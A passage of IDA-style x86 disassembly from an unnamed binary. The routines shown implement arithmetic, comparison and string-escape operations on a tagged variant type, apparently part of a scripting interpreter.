; ---------------------------------------------------------------------------

loc_40FF52:				; CODE XREF: sub_40FEFE+30j
		test	eax, eax
		jnz	short locret_40FF65
		and	[esi+10h], eax
		push	offset aNull_2	; "(null)"

loc_40FF5E:				; CODE XREF: sub_40FEFE+52j
		mov	eax, esi
		call	sub_40FE96

locret_40FF65:				; CODE XREF: sub_40FEFE+56j
		leave
		retn
sub_40FEFE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FF67	proc near		; CODE XREF: sub_40FE96+Fp
					; sub_40FF85+25p

arg_0		= dword	ptr  4

		mov	eax, [esi+10h]
		test	eax, eax
		jz	short loc_40FF75
		push	eax
		call	sub_41CA28
		pop	ecx

loc_40FF75:				; CODE XREF: sub_40FF67+5j
		push	[esp+arg_0]
		call	sub_41BAB5
		pop	ecx
		mov	[esi+10h], eax
		retn	4
sub_40FF67	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FF85	proc near		; CODE XREF: sub_4100B9+E0p
					; sub_4100B9+10Bp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, eax
		push	edi
		push	dword ptr [esi+10h]
		call	sub_41C350
		inc	eax
		push	eax
		call	sub_41BAB5
		push	dword ptr [esi+10h]
		mov	edi, eax
		push	edi
		call	sub_41C930
		add	esp, 10h
		push	[esp+8+arg_0]
		call	sub_40FF67
		push	[esp+8+arg_0]
		push	edi
		push	dword ptr [esi+10h]
		call	sub_41C5A0
		push	edi
		call	sub_41CA28
		add	esp, 10h
		pop	edi
		pop	esi
		retn	4
sub_40FF85	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FFCA	proc near		; CODE XREF: sub_413535+124p
		push	esi
		push	dword ptr [edi+10h]
		xor	esi, esi
		call	sub_41C350
		test	eax, eax
		pop	ecx
		jbe	short loc_410029

loc_40FFDA:				; CODE XREF: sub_40FFCA+5Dj
		mov	eax, [edi+10h]
		cmp	byte ptr [eax+esi], 5Ch
		jnz	short loc_41001B
		push	eax
		call	sub_41C350
		pop	ecx
		lea	ecx, [esi+1]
		cmp	eax, ecx
		jbe	short loc_41001B
		mov	eax, [edi+10h]
		add	eax, esi
		lea	ecx, [eax+1]
		push	ecx
		push	eax
		call	sub_41C930
		mov	eax, [edi+10h]
		pop	ecx
		add	eax, esi
		pop	ecx
		mov	cl, [eax]
		cmp	cl, 72h
		jnz	short loc_410013
		mov	byte ptr [eax],	0Dh
		jmp	short loc_41001B
; ---------------------------------------------------------------------------

loc_410013:				; CODE XREF: sub_40FFCA+42j
		cmp	cl, 6Eh
		jnz	short loc_41001B
		mov	byte ptr [eax],	0Ah

loc_41001B:				; CODE XREF: sub_40FFCA+17j
					; sub_40FFCA+25j ...
		push	dword ptr [edi+10h]
		inc	esi
		call	sub_41C350
		cmp	esi, eax
		pop	ecx
		jb	short loc_40FFDA

loc_410029:				; CODE XREF: sub_40FFCA+Ej
		pop	esi
		retn
sub_40FFCA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41002B	proc near		; CODE XREF: sub_41226A+2B4p
					; sub_41226A+3C0p ...
		push	ecx
		mov	edx, [eax+8]
		cmp	edx, 1
		jnz	short loc_410047
		mov	eax, [eax+10h]
		cdq
		mov	[ecx+10h], eax
		mov	[ecx+14h], edx
		mov	dword ptr [ecx+8], 1
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_410047:				; CODE XREF: sub_41002B+7j
		cmp	edx, 2
		jnz	short loc_410057
		fld	qword ptr [eax+10h]
		mov	[ecx+8], edx
		fstp	qword ptr [ecx+10h]
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_410057:				; CODE XREF: sub_41002B+1Fj
		cmp	edx, 3
		jnz	short loc_410066
		push	dword ptr [eax+10h]
		mov	eax, ecx
		call	sub_40FE96

loc_410066:				; CODE XREF: sub_41002B+2Fj
		pop	ecx
		retn
sub_41002B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410068	proc near		; CODE XREF: sub_413535+FCp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0Dh
		jnz	short loc_41008A
		push	[ebp+arg_4]
		call	sub_41D59C
		cdq
		pop	ecx
		mov	[esi+10h], eax
		mov	[esi+14h], edx
		mov	dword ptr [esi+8], 1
		jmp	short loc_4100B5
; ---------------------------------------------------------------------------

loc_41008A:				; CODE XREF: sub_410068+7j
		cmp	[ebp+arg_0], 0Eh
		jnz	short loc_4100A5
		push	[ebp+arg_4]
		call	sub_41D6EF
		fstp	qword ptr [esi+10h]
		pop	ecx
		mov	dword ptr [esi+8], 2
		jmp	short loc_4100B5
; ---------------------------------------------------------------------------

loc_4100A5:				; CODE XREF: sub_410068+26j
		cmp	[ebp+arg_0], 0Fh
		jnz	short loc_4100B5
		push	[ebp+arg_4]
		mov	eax, esi
		call	sub_40FE96

loc_4100B5:				; CODE XREF: sub_410068+20j
					; sub_410068+3Bj ...
		pop	ebp
		retn	8
sub_410068	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4100B9	proc near		; CODE XREF: sub_412B5E+4EDp
					; sub_412B5E+5AAp

var_38		= qword	ptr -38h
var_20		= byte ptr -20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		push	esi
		xor	edx, edx
		push	edi
		mov	esi, ecx
		mov	edi, eax
		mov	eax, [esi+8]
		inc	edx
		cmp	eax, edx
		jnz	short loc_410100
		mov	eax, [edi+8]
		cmp	eax, edx
		jnz	short loc_4100E8
		mov	eax, [edi+10h]
		add	[esi+10h], eax
		mov	eax, [edi+14h]
		adc	[esi+14h], eax
		jmp	loc_4101D6
; ---------------------------------------------------------------------------

loc_4100E8:				; CODE XREF: sub_4100B9+1Cj
		push	2
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_410125
		fild	qword ptr [esi+10h]
		fadd	qword ptr [edi+10h]
		mov	[esi+8], ecx
		fstp	qword ptr [esi+10h]
		jmp	loc_4101D6
; ---------------------------------------------------------------------------

loc_410100:				; CODE XREF: sub_4100B9+15j
		push	2
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_410135
		mov	eax, [edi+8]
		cmp	eax, edx
		jnz	short loc_410113
		fild	qword ptr [edi+10h]
		jmp	short loc_41011A
; ---------------------------------------------------------------------------

loc_410113:				; CODE XREF: sub_4100B9+53j
		cmp	eax, ecx
		jnz	short loc_410125
		fld	qword ptr [edi+10h]

loc_41011A:				; CODE XREF: sub_4100B9+58j
		fadd	qword ptr [esi+10h]
		fstp	qword ptr [esi+10h]
		jmp	loc_4101D6
; ---------------------------------------------------------------------------

loc_410125:				; CODE XREF: sub_4100B9+34j
					; sub_4100B9+5Cj
		cmp	eax, 3
		jnz	loc_4101D6
		call	sub_40FEFE
		jmp	short loc_4101A9
; ---------------------------------------------------------------------------

loc_410135:				; CODE XREF: sub_4100B9+4Cj
		cmp	eax, 3
		jnz	loc_4101D6
		mov	eax, [edi+8]
		cmp	eax, edx
		jnz	short loc_410161
		push	0Ah
		lea	eax, [ebp+var_20]
		push	eax
		push	dword ptr [edi+10h]
		call	sub_421A02
		add	esp, 0Ch
		push	dword ptr [esi+10h]
		call	sub_41C350
		pop	ecx
		jmp	short loc_410186
; ---------------------------------------------------------------------------

loc_410161:				; CODE XREF: sub_4100B9+8Aj
		cmp	eax, ecx
		jnz	short loc_4101A4
		fld	qword ptr [edi+10h]
		push	ecx
		push	ecx
		fstp	[esp+38h+var_38]
		lea	eax, [ebp+var_20]
		push	offset dword_4308E4
		push	eax
		call	sub_41CA2D
		push	dword ptr [esi+10h]
		call	sub_41C350
		add	esp, 14h

loc_410186:				; CODE XREF: sub_4100B9+A6j
		mov	edi, eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41C350
		lea	eax, [edi+eax+1]
		pop	ecx
		push	eax
		mov	eax, esi
		call	sub_40FF85
		lea	eax, [ebp+var_20]
		push	eax
		jmp	short loc_4101CC
; ---------------------------------------------------------------------------

loc_4101A4:				; CODE XREF: sub_4100B9+AAj
		cmp	eax, 3
		jnz	short loc_4101D6

loc_4101A9:				; CODE XREF: sub_4100B9+7Aj
		push	dword ptr [esi+10h]
		call	sub_41C350
		pop	ecx
		push	dword ptr [edi+10h]
		mov	ebx, eax
		call	sub_41C350
		lea	eax, [ebx+eax+1]
		pop	ecx
		push	eax
		mov	eax, esi
		call	sub_40FF85
		push	dword ptr [edi+10h]

loc_4101CC:				; CODE XREF: sub_4100B9+E9j
		push	dword ptr [esi+10h]
		call	sub_41C940
		pop	ecx
		pop	ecx

loc_4101D6:				; CODE XREF: sub_4100B9+2Aj
					; sub_4100B9+42j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4100B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4101DB	proc near		; CODE XREF: sub_412B5E+544p
					; sub_412B5E+618p

var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [esi+8]
		xor	ecx, ecx
		inc	ecx
		cmp	eax, ecx
		push	ebx
		jnz	short loc_410234
		mov	eax, [edi+8]
		cmp	eax, ecx
		jnz	short loc_410204
		mov	eax, [edi+10h]
		sub	[esi+10h], eax
		mov	eax, [edi+14h]
		sbb	[esi+14h], eax
		jmp	loc_4102C4
; ---------------------------------------------------------------------------

loc_410204:				; CODE XREF: sub_4101DB+16j
		push	2
		pop	ebx
		cmp	eax, ebx
		jnz	short loc_410216
		fild	qword ptr [esi+10h]
		fsub	qword ptr [edi+10h]
		jmp	loc_4102BE
; ---------------------------------------------------------------------------

loc_410216:				; CODE XREF: sub_4101DB+2Ej
		cmp	eax, 3
		jnz	loc_4102C4
		push	dword ptr [edi+10h]
		call	sub_41D59C
		cdq
		sub	[esi+10h], eax
		pop	ecx
		sbb	[esi+14h], edx
		jmp	loc_4102C4
; ---------------------------------------------------------------------------

loc_410234:				; CODE XREF: sub_4101DB+Fj
		push	2
		pop	ebx
		cmp	eax, ebx
		jnz	short loc_410266
		mov	eax, [edi+8]
		cmp	eax, ecx
		jnz	short loc_410247
		fild	qword ptr [edi+10h]
		jmp	short loc_410261
; ---------------------------------------------------------------------------

loc_410247:				; CODE XREF: sub_4101DB+65j
		cmp	eax, ebx
		jnz	short loc_410253
		fld	qword ptr [esi+10h]
		fsub	qword ptr [edi+10h]
		jmp	short loc_4102C1
; ---------------------------------------------------------------------------

loc_410253:				; CODE XREF: sub_4101DB+6Ej
		cmp	eax, 3
		jnz	short loc_4102C4
		push	dword ptr [edi+10h]
		call	sub_41D6EF
		pop	ecx

loc_410261:				; CODE XREF: sub_4101DB+6Aj
		fsubr	qword ptr [esi+10h]
		jmp	short loc_4102C1
; ---------------------------------------------------------------------------

loc_410266:				; CODE XREF: sub_4101DB+5Ej
		cmp	eax, 3
		jnz	short loc_4102C4
		mov	eax, [edi+8]
		cmp	eax, ecx
		jnz	short loc_41028E
		push	dword ptr [esi+10h]
		call	sub_41D59C
		sub	eax, [edi+10h]
		pop	ecx
		cdq
		mov	[esi+10h], eax
		mov	[esi+14h], edx
		mov	dword ptr [esi+8], 1
		jmp	short loc_4102C4
; ---------------------------------------------------------------------------

loc_41028E:				; CODE XREF: sub_4101DB+95j
		cmp	eax, ebx
		jnz	short loc_41029F
		push	dword ptr [esi+10h]
		call	sub_41D6EF
		fsub	qword ptr [edi+10h]
		jmp	short loc_4102BD
; ---------------------------------------------------------------------------

loc_41029F:				; CODE XREF: sub_4101DB+B5j
		cmp	eax, 3
		jnz	short loc_4102C4
		push	dword ptr [esi+10h]
		call	sub_41D6EF
		fstp	[ebp+var_8]
		add	esp, 4
		push	dword ptr [edi+10h]
		call	sub_41D6EF
		fsubr	[ebp+var_8]

loc_4102BD:				; CODE XREF: sub_4101DB+C2j
		pop	ecx

loc_4102BE:				; CODE XREF: sub_4101DB+36j
		mov	[esi+8], ebx

loc_4102C1:				; CODE XREF: sub_4101DB+76j
					; sub_4101DB+89j
		fstp	qword ptr [esi+10h]

loc_4102C4:				; CODE XREF: sub_4101DB+24j
					; sub_4101DB+3Ej ...
		pop	ebx
		leave
		retn
sub_4101DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4102C7	proc near		; CODE XREF: sub_412B5E+67Dp

var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [esi+8]
		xor	ecx, ecx
		inc	ecx
		cmp	eax, ecx
		push	ebx
		jnz	short loc_410340
		mov	eax, [edi+8]
		cmp	eax, ecx
		jnz	short loc_410307
		lea	ebx, [esi+10h]
		push	dword ptr [ebx+4]
		push	dword ptr [ebx]
		push	dword ptr [edi+14h]
		push	dword ptr [edi+10h]
		call	sub_421320
		mov	[ebx], eax
		mov	[ebx+4], edx
		fild	qword ptr [ebx]
		mov	dword ptr [esi+8], 2
		fstp	qword ptr [ebx]
		jmp	loc_4103C0
; ---------------------------------------------------------------------------

loc_410307:				; CODE XREF: sub_4102C7+16j
		push	2
		pop	ebx
		cmp	eax, ebx
		jnz	short loc_410319
		fild	qword ptr [esi+10h]
		fmul	qword ptr [edi+10h]
		jmp	loc_4103BA
; ---------------------------------------------------------------------------

loc_410319:				; CODE XREF: sub_4102C7+45j
		cmp	eax, 3
		jnz	loc_4103C0
		push	dword ptr [edi+10h]
		call	sub_41D6EF
		fild	qword ptr [esi+10h]
		pop	ecx
		fmulp	st(1), st
		call	sub_427778
		mov	[esi+10h], eax
		mov	[esi+14h], edx
		fild	qword ptr [esi+10h]
		jmp	short loc_4103BA
; ---------------------------------------------------------------------------

loc_410340:				; CODE XREF: sub_4102C7+Fj
		push	2
		pop	ebx
		cmp	eax, ebx
		jnz	short loc_41036F
		mov	eax, [edi+8]
		cmp	eax, ecx
		jnz	short loc_410353
		fild	qword ptr [edi+10h]
		jmp	short loc_41036A
; ---------------------------------------------------------------------------

loc_410353:				; CODE XREF: sub_4102C7+85j
		cmp	eax, ebx
		jnz	short loc_41035C
		fld	qword ptr [edi+10h]
		jmp	short loc_41036A
; ---------------------------------------------------------------------------

loc_41035C:				; CODE XREF: sub_4102C7+8Ej
		cmp	eax, 3
		jnz	short loc_4103C0
		push	dword ptr [edi+10h]
		call	sub_41D6EF
		pop	ecx

loc_41036A:				; CODE XREF: sub_4102C7+8Aj
					; sub_4102C7+93j
		fmul	qword ptr [esi+10h]
		jmp	short loc_4103BD
; ---------------------------------------------------------------------------

loc_41036F:				; CODE XREF: sub_4102C7+7Ej
		cmp	eax, 3
		jnz	short loc_4103C0
		mov	eax, [edi+8]
		cmp	eax, ecx
		jnz	short loc_41038A
		push	dword ptr [esi+10h]
		call	sub_41D6EF
		fild	qword ptr [edi+10h]
		fmulp	st(1), st
		jmp	short loc_4103B9
; ---------------------------------------------------------------------------

loc_41038A:				; CODE XREF: sub_4102C7+B2j
		cmp	eax, ebx
		jnz	short loc_41039B
		push	dword ptr [esi+10h]
		call	sub_41D6EF
		fmul	qword ptr [edi+10h]
		jmp	short loc_4103B9
; ---------------------------------------------------------------------------

loc_41039B:				; CODE XREF: sub_4102C7+C5j
		cmp	eax, 3
		jnz	short loc_4103C0
		push	dword ptr [edi+10h]
		call	sub_41D6EF
		fstp	[ebp+var_8]
		add	esp, 4
		push	dword ptr [esi+10h]
		call	sub_41D6EF
		fmul	[ebp+var_8]

loc_4103B9:				; CODE XREF: sub_4102C7+C1j
					; sub_4102C7+D2j
		pop	ecx

loc_4103BA:				; CODE XREF: sub_4102C7+4Dj
					; sub_4102C7+77j
		mov	[esi+8], ebx

loc_4103BD:				; CODE XREF: sub_4102C7+A6j
		fstp	qword ptr [esi+10h]

loc_4103C0:				; CODE XREF: sub_4102C7+3Bj
					; sub_4102C7+55j ...
		pop	ebx
		leave
		retn
sub_4102C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4103C3	proc near		; CODE XREF: sub_412B5E+6D4p

var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [esi+8]
		xor	ecx, ecx
		inc	ecx
		cmp	eax, ecx
		push	ebx
		jnz	short loc_41041D
		mov	eax, [edi+8]
		cmp	eax, ecx
		jnz	short loc_4103EF
		fild	qword ptr [esi+10h]
		fild	qword ptr [edi+10h]
		mov	dword ptr [esi+8], 2
		fdivp	st(1), st
		jmp	loc_41049D
; ---------------------------------------------------------------------------

loc_4103EF:				; CODE XREF: sub_4103C3+16j
		push	2
		pop	ebx
		cmp	eax, ebx
		jnz	short loc_410401
		fild	qword ptr [esi+10h]
		fdiv	qword ptr [edi+10h]
		jmp	loc_41049A
; ---------------------------------------------------------------------------

loc_410401:				; CODE XREF: sub_4103C3+31j
		cmp	eax, 3
		jnz	loc_4104A0
		fild	qword ptr [esi+10h]
		push	dword ptr [edi+10h]
		fstp	[ebp+var_8]
		call	sub_41D6EF
		fdivr	[ebp+var_8]
		jmp	short loc_410499
; ---------------------------------------------------------------------------

loc_41041D:				; CODE XREF: sub_4103C3+Fj
		push	2
		pop	ebx
		cmp	eax, ebx
		jnz	short loc_41044F
		mov	eax, [edi+8]
		cmp	eax, ecx
		jnz	short loc_410430
		fild	qword ptr [edi+10h]
		jmp	short loc_41044A
; ---------------------------------------------------------------------------

loc_410430:				; CODE XREF: sub_4103C3+66j
		cmp	eax, ebx
		jnz	short loc_41043C
		fld	qword ptr [esi+10h]
		fdiv	qword ptr [edi+10h]
		jmp	short loc_41049D
; ---------------------------------------------------------------------------

loc_41043C:				; CODE XREF: sub_4103C3+6Fj
		cmp	eax, 3
		jnz	short loc_4104A0
		push	dword ptr [edi+10h]
		call	sub_41D6EF
		pop	ecx

loc_41044A:				; CODE XREF: sub_4103C3+6Bj
		fdivr	qword ptr [esi+10h]
		jmp	short loc_41049D
; ---------------------------------------------------------------------------

loc_41044F:				; CODE XREF: sub_4103C3+5Fj
		cmp	eax, 3
		jnz	short loc_4104A0
		mov	eax, [edi+8]
		cmp	eax, ecx
		jnz	short loc_41046A
		push	dword ptr [esi+10h]
		call	sub_41D6EF
		fild	qword ptr [edi+10h]
		fdivp	st(1), st
		jmp	short loc_410499
; ---------------------------------------------------------------------------

loc_41046A:				; CODE XREF: sub_4103C3+96j
		cmp	eax, ebx
		jnz	short loc_41047B
		push	dword ptr [esi+10h]
		call	sub_41D6EF
		fdiv	qword ptr [edi+10h]
		jmp	short loc_410499
; ---------------------------------------------------------------------------

loc_41047B:				; CODE XREF: sub_4103C3+A9j
		cmp	eax, 3
		jnz	short loc_4104A0
		push	dword ptr [esi+10h]
		call	sub_41D6EF
		fstp	[ebp+var_8]
		add	esp, 4
		push	dword ptr [edi+10h]
		call	sub_41D6EF
		fdivr	[ebp+var_8]

loc_410499:				; CODE XREF: sub_4103C3+58j
					; sub_4103C3+A5j ...
		pop	ecx

loc_41049A:				; CODE XREF: sub_4103C3+39j
		mov	[esi+8], ebx

loc_41049D:				; CODE XREF: sub_4103C3+27j
					; sub_4103C3+77j ...
		fstp	qword ptr [esi+10h]

loc_4104A0:				; CODE XREF: sub_4103C3+41j
					; sub_4103C3+7Cj ...
		pop	ebx
		leave
		retn
sub_4103C3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4104A3	proc near		; CODE XREF: sub_412B5E+72Bp
		push	esi
		mov	esi, edi
		call	sub_40FEC3
		mov	esi, ebx
		call	sub_40FEC3
		push	dword ptr [ebx+14h]
		push	dword ptr [ebx+10h]
		push	dword ptr [edi+14h]
		push	dword ptr [edi+10h]
		call	sub_427840
		cdq
		mov	[edi+10h], eax
		mov	[edi+14h], edx
		mov	dword ptr [edi+8], 1
		pop	esi
		retn
sub_4104A3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4104D3	proc near		; CODE XREF: sub_412B5E+78Ep
		push	esi
		mov	esi, edi
		call	sub_40FEC3
		mov	esi, ebx
		call	sub_40FEC3
		mov	eax, [edi+10h]
		mov	edx, [edi+14h]
		mov	ecx, [ebx+10h]
		call	sub_427820
		cdq
		mov	[edi+10h], eax
		mov	[edi+14h], edx
		mov	dword ptr [edi+8], 1
		pop	esi
		retn
sub_4104D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_410500	proc near		; CODE XREF: sub_412B5E+7E2p
		push	esi
		mov	esi, edi
		call	sub_40FEC3
		mov	esi, ebx
		call	sub_40FEC3
		mov	eax, [edi+10h]
		mov	edx, [edi+14h]
		mov	ecx, [ebx+10h]
		call	sub_4277F0
		cdq
		mov	[edi+10h], eax
		mov	[edi+14h], edx
		mov	dword ptr [edi+8], 1
		pop	esi
		retn
sub_410500	endp


; =============== S U B	R O U T	I N E =======================================



sub_41052D	proc near		; CODE XREF: sub_412B5E+13Fp
		mov	edx, [eax+10h]
		or	edx, [eax+14h]
		jz	short loc_410548
		mov	edx, [ecx+10h]
		or	edx, [ecx+14h]
		jz	short loc_410548
		xor	ecx, ecx
		inc	ecx
		mov	[eax+10h], ecx
		mov	[eax+8], ecx
		jmp	short loc_410553
; ---------------------------------------------------------------------------

loc_410548:				; CODE XREF: sub_41052D+6j
					; sub_41052D+Ej
		and	dword ptr [eax+10h], 0
		mov	dword ptr [eax+8], 1

loc_410553:				; CODE XREF: sub_41052D+19j
		and	dword ptr [eax+14h], 0
		retn
sub_41052D	endp


; =============== S U B	R O U T	I N E =======================================



sub_410558	proc near		; CODE XREF: sub_412B5E+196p
					; sub_412B5E+3A3p ...
		mov	edx, [eax+10h]
		or	edx, [eax+14h]
		jnz	short loc_410575
		mov	edx, [ecx+10h]
		or	edx, [ecx+14h]
		jnz	short loc_410575
		and	dword ptr [eax+10h], 0
		mov	dword ptr [eax+8], 1
		jmp	short loc_41057E
; ---------------------------------------------------------------------------

loc_410575:				; CODE XREF: sub_410558+6j
					; sub_410558+Ej
		xor	ecx, ecx
		inc	ecx
		mov	[eax+10h], ecx
		mov	[eax+8], ecx

loc_41057E:				; CODE XREF: sub_410558+1Bj
		and	dword ptr [eax+14h], 0
		retn
sub_410558	endp


; =============== S U B	R O U T	I N E =======================================



sub_410583	proc near		; CODE XREF: sub_412B5E+D4p
					; sub_412B5E+24Bp
		mov	ecx, [eax+10h]
		or	ecx, [eax+14h]
		jz	short loc_410598
		and	dword ptr [eax+10h], 0
		mov	dword ptr [eax+8], 1
		jmp	short loc_4105A1
; ---------------------------------------------------------------------------

loc_410598:				; CODE XREF: sub_410583+6j
		xor	ecx, ecx
		inc	ecx
		mov	[eax+10h], ecx
		mov	[eax+8], ecx

loc_4105A1:				; CODE XREF: sub_410583+13j
		and	dword ptr [eax+14h], 0
		retn
sub_410583	endp


; =============== S U B	R O U T	I N E =======================================



sub_4105A6	proc near		; CODE XREF: sub_412B5E+B7p
		mov	eax, [esi+8]
		xor	ecx, ecx
		inc	ecx
		cmp	eax, ecx
		push	edi
		jnz	short loc_4105C2
		mov	eax, [esi+10h]
		neg	eax
		cdq
		mov	[esi+10h], eax
		mov	[esi+14h], edx
		mov	[esi+8], ecx
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_4105C2:				; CODE XREF: sub_4105A6+9j
		push	2
		pop	edi
		cmp	eax, edi
		jnz	short loc_4105CE
		fld	qword ptr [esi+10h]
		jmp	short loc_4105DC
; ---------------------------------------------------------------------------

loc_4105CE:				; CODE XREF: sub_4105A6+21j
		cmp	eax, 3
		jnz	short loc_4105E4
		push	dword ptr [esi+10h]
		call	sub_41D6EF
		pop	ecx

loc_4105DC:				; CODE XREF: sub_4105A6+26j
		fchs
		mov	[esi+8], edi
		fstp	qword ptr [esi+10h]

loc_4105E4:				; CODE XREF: sub_4105A6+2Bj
		pop	edi
		retn
sub_4105A6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4105E6	proc near		; CODE XREF: sub_412B5E+EEp
		mov	eax, [ecx+10h]
		or	eax, [ecx+14h]
		jz	short locret_410601
		mov	eax, [ecx+10h]
		not	eax
		cdq
		mov	[ecx+10h], eax
		mov	[ecx+14h], edx
		mov	dword ptr [ecx+8], 1

locret_410601:				; CODE XREF: sub_4105E6+6j
		retn
sub_4105E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410602	proc near		; CODE XREF: sub_412B5E+1EDp
					; sub_412B5E+244p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		xor	ebx, ebx
		push	edi
		mov	edi, eax
		mov	eax, [esi+8]
		inc	ebx
		cmp	eax, ebx
		jnz	short loc_410666
		mov	eax, [edi+8]
		cmp	eax, ebx
		jnz	short loc_410632
		mov	eax, [esi+10h]
		cmp	eax, [edi+10h]
		jnz	loc_4106CF
		mov	eax, [esi+14h]
		cmp	eax, [edi+14h]
		jmp	loc_4106C9
; ---------------------------------------------------------------------------

loc_410632:				; CODE XREF: sub_410602+17j
		cmp	eax, 2
		jnz	short loc_410652
		fld	qword ptr [edi+10h]
		call	sub_427778

loc_41063F:				; CODE XREF: sub_410602+62j
		mov	ecx, [esi+10h]
		cdq
		cmp	ecx, eax
		jnz	loc_4106CF
		mov	eax, [esi+14h]
		cmp	eax, edx
		jmp	short loc_4106C9
; ---------------------------------------------------------------------------

loc_410652:				; CODE XREF: sub_410602+33j
		cmp	eax, 3
		jnz	loc_41071B
		push	dword ptr [edi+10h]
		call	sub_41D59C
		pop	ecx
		jmp	short loc_41063F
; ---------------------------------------------------------------------------

loc_410666:				; CODE XREF: sub_410602+10j
		cmp	eax, 2
		jnz	short loc_4106AB
		mov	eax, [edi+8]
		cmp	eax, ebx
		jnz	short loc_41067C
		fld	qword ptr [esi+10h]
		call	sub_427778
		jmp	short loc_4106C0
; ---------------------------------------------------------------------------

loc_41067C:				; CODE XREF: sub_410602+6Ej
		cmp	eax, 2
		jnz	short loc_41068B
		fld	qword ptr [edi+10h]
		call	sub_427778
		jmp	short loc_41069D
; ---------------------------------------------------------------------------

loc_41068B:				; CODE XREF: sub_410602+7Dj
		cmp	eax, 3
		jnz	loc_41071B
		push	dword ptr [edi+10h]
		call	sub_41D59C
		pop	ecx

loc_41069D:				; CODE XREF: sub_410602+87j
		fld	qword ptr [esi+10h]
		mov	edi, eax
		call	sub_427778
		sub	eax, edi
		jmp	short loc_41070C
; ---------------------------------------------------------------------------

loc_4106AB:				; CODE XREF: sub_410602+67j
		cmp	eax, 3
		jnz	short loc_41071B
		mov	eax, [edi+8]
		cmp	eax, ebx
		jnz	short loc_4106D3
		push	dword ptr [esi+10h]
		call	sub_41D59C
		pop	ecx

loc_4106C0:				; CODE XREF: sub_410602+78j
		cdq
		cmp	eax, [edi+10h]
		jnz	short loc_4106CF
		cmp	edx, [edi+14h]

loc_4106C9:				; CODE XREF: sub_410602+2Bj
					; sub_410602+4Ej
		jnz	short loc_4106CF
		mov	eax, ebx
		jmp	short loc_410711
; ---------------------------------------------------------------------------

loc_4106CF:				; CODE XREF: sub_410602+1Fj
					; sub_410602+43j ...
		xor	eax, eax
		jmp	short loc_410711
; ---------------------------------------------------------------------------

loc_4106D3:				; CODE XREF: sub_410602+B3j
		cmp	eax, 2
		jnz	short loc_4106FA
		push	dword ptr [esi+10h]
		call	sub_41D59C
		fld	qword ptr [edi+10h]
		pop	ecx
		mov	[ebp+var_4], eax
		call	sub_427778
		mov	ecx, [ebp+var_4]
		sub	ecx, eax
		neg	ecx
		sbb	ecx, ecx
		inc	ecx
		mov	eax, ecx
		jmp	short loc_410711
; ---------------------------------------------------------------------------

loc_4106FA:				; CODE XREF: sub_410602+D4j
		cmp	eax, 3
		jnz	short loc_41071B
		push	dword ptr [edi+10h]
		push	dword ptr [esi+10h]
		call	sub_41C730
		pop	ecx
		pop	ecx

loc_41070C:				; CODE XREF: sub_410602+A7j
		neg	eax
		sbb	eax, eax
		inc	eax

loc_410711:				; CODE XREF: sub_410602+CBj
					; sub_410602+CFj ...
		cdq
		mov	[esi+10h], eax
		mov	[esi+14h], edx
		mov	[esi+8], ebx

loc_41071B:				; CODE XREF: sub_410602+53j
					; sub_410602+8Cj ...
		pop	edi
		pop	ebx
		leave
		retn
sub_410602	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41071F	proc near		; CODE XREF: sub_412B5E+2A2p
					; sub_412B5E+38Ep

var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [esi+8]
		push	ebx
		xor	ebx, ebx
		inc	ebx
		cmp	eax, ebx
		jnz	short loc_410785
		mov	eax, [edi+8]
		cmp	eax, ebx
		jnz	short loc_410757
		mov	eax, [esi+14h]
		cmp	eax, [edi+14h]
		jl	short loc_410750
		jg	loc_4107EA
		mov	eax, [esi+10h]
		cmp	eax, [edi+10h]
		ja	loc_4107EA

loc_410750:				; CODE XREF: sub_41071F+1Dj
					; sub_41071F+62j ...
		xor	eax, eax
		jmp	loc_410809
; ---------------------------------------------------------------------------

loc_410757:				; CODE XREF: sub_41071F+15j
		cmp	eax, 2
		jnz	short loc_410761
		fild	qword ptr [esi+10h]
		jmp	short loc_4107DC
; ---------------------------------------------------------------------------

loc_410761:				; CODE XREF: sub_41071F+3Bj
		cmp	eax, 3
		jnz	loc_410813
		fild	qword ptr [esi+10h]
		push	dword ptr [edi+10h]
		fstp	[ebp+var_8]
		call	sub_41D6EF
		fcomp	[ebp+var_8]

loc_41077B:				; CODE XREF: sub_41071F+ADj
		pop	ecx

loc_41077C:				; CODE XREF: sub_41071F+92j
		fnstsw	ax
		test	ah, 5
		jp	short loc_410750
		jmp	short loc_4107EA
; ---------------------------------------------------------------------------

loc_410785:				; CODE XREF: sub_41071F+Ej
		cmp	eax, 2
		jnz	short loc_4107B3
		mov	eax, [edi+8]
		cmp	eax, ebx
		jnz	short loc_410796
